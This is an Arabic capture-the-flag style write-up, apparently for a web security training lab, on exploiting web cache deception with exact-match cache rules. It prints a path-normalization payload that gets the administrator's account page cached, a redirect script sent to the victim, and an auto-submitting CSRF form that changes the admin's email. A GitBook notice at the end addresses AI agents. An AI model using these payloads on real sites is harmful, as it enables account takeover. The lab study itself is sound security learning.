> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/web-cache-deception/web-cache-deception-with-exact-match-rules.md).

# خداع ذاكرة التخزين المؤقت للويب مع قواعد التطابق التام

### استغلال قواعد ذاكرة التخزين المؤقت للمطابقة التامة لخداع ذاكرة التخزين المؤقت للويب

#### هدف المختبر

* تغيير عنوان البريد الإلكتروني للمستخدم **administrator**.
* الاتصال متاح: **wiener:peter**.
* يتم توفير قائمة بفواصل التحديد: قائمة فواصل مختبر خداع ذاكرة التخزين المؤقت للويب.

<figure><img src="/files/2f294ee253a371ae6b64cedebbc56c6ae560feeb" alt=""><figcaption></figcaption></figure>

#### السياق الملحوظ

* مفعّل **حسابي**، يوجد حقل لتغيير البريد الإلكتروني.
* يبدو الطلب المرسل كما يلي:

```bash
email=test%40test.com&csrf=Bfo2p16Es7RG8W0XBZxAJSuyJKOHbK0a
```

#### اختبارات الفواصل

<figure><img src="/files/6698e69d29532c875c9ddc82916b41d454e28701" alt=""><figcaption></figcaption></figure>

* من خلال اختبار أحرف القائمة، يقبل الموقع بشكل خاص ما يلي:
* الـ **الفاصلة** `;`
* الـ **علامة استفهام** `?`

الهجمات التقليدية لا تعمل في هذا المختبر.

<figure><img src="/files/3bb499d411ce99e669b7e3d8085a4707de4e8e20" alt=""><figcaption></figcaption></figure>

#### اكتشاف مورد مخفي

* من **الهدف -> خريطة الموقع**، استخدم **اكتشاف المحتوى**.

<figure><img src="/files/5e46e653dd44386a75b32a3b082825f54596e51d" alt=""><figcaption></figcaption></figure>

* ملف **ملف robots.txt** يظهر ويتم \*\*تخزينه مؤقتًا\*\*.

<figure><img src="/files/8c44d159fca610690aa925b71511415dde11858b" alt=""><figcaption></figcaption></figure>

#### التخزين المؤقت عبر التطبيع (المسار الدقيق + التفاف)

الهدف: إجبار الذاكرة المؤقتة على تخزين استجابة حساسة بجعلها تبدو كمورد مخفي.

التطبيقات المستخدمة:

```bash
GET /my-account;/../robots.txt
# النسخة المرمّزة
GET /my-account;%2f%2e%2e%2frobots.txt
```

<figure><img src="/files/4484fc6fbc28967012da0ba4eae484a754a80eb4" alt=""><figcaption></figcaption></figure>

#### تم إرسال الاستغلال إلى الضحية

{% code overflow="wrap" %}

```javascript
<script>
    document.location = "https://0a6200c003095773896516fd00d800d3.web-security-academy.net/my-account;%2f%2e%2e%2frobots.txt";
</script>
```

{% endcode %}

النتيجة:

* الصفحة المعروضة تتوافق مع **حساب المدير**.

<figure><img src="/files/d4ceadec825306e5391ec6e93f70270db2fe8467" alt=""><figcaption></figcaption></figure>

في الإجابة، نستخرج **رمز CSRF** من نموذج البريد الإلكتروني، على سبيل المثال:

```html
<input required type="email" name="email" value="">
<input required type="hidden" name="csrf" value="rP2JD7Ik9im0XQi3E4OLwR22dbk6gNr5">
<button class='button' type='submit'> تحديث البريد الإلكتروني </button>
```

#### المرحلة النهائية المخطط لها

* استخدم هذا الرمز لإنشاء **إثبات مفهوم CSRF** لإرسال **طلب POST** طلب إلى **حسابي** صفحة تغيير البريد الإلكتروني، وبالتالي تغيير **administrator** البريد الإلكتروني.

<figure><img src="/files/58c99c4dfd5d42adaed53f122d6841ced3a58f44" alt=""><figcaption></figcaption></figure>

```html
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a6200c003095773896516fd00d800d3.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacked&#64;test&#46;com" />
      <input type="hidden" name="csrf" value="rP2JD7Ik9im0XQi3E4OLwR22dbk6gNr5" />
      <input type="submit" value="إرسال الطلب" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/web-cache-deception/web-cache-deception-with-exact-match-rules.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
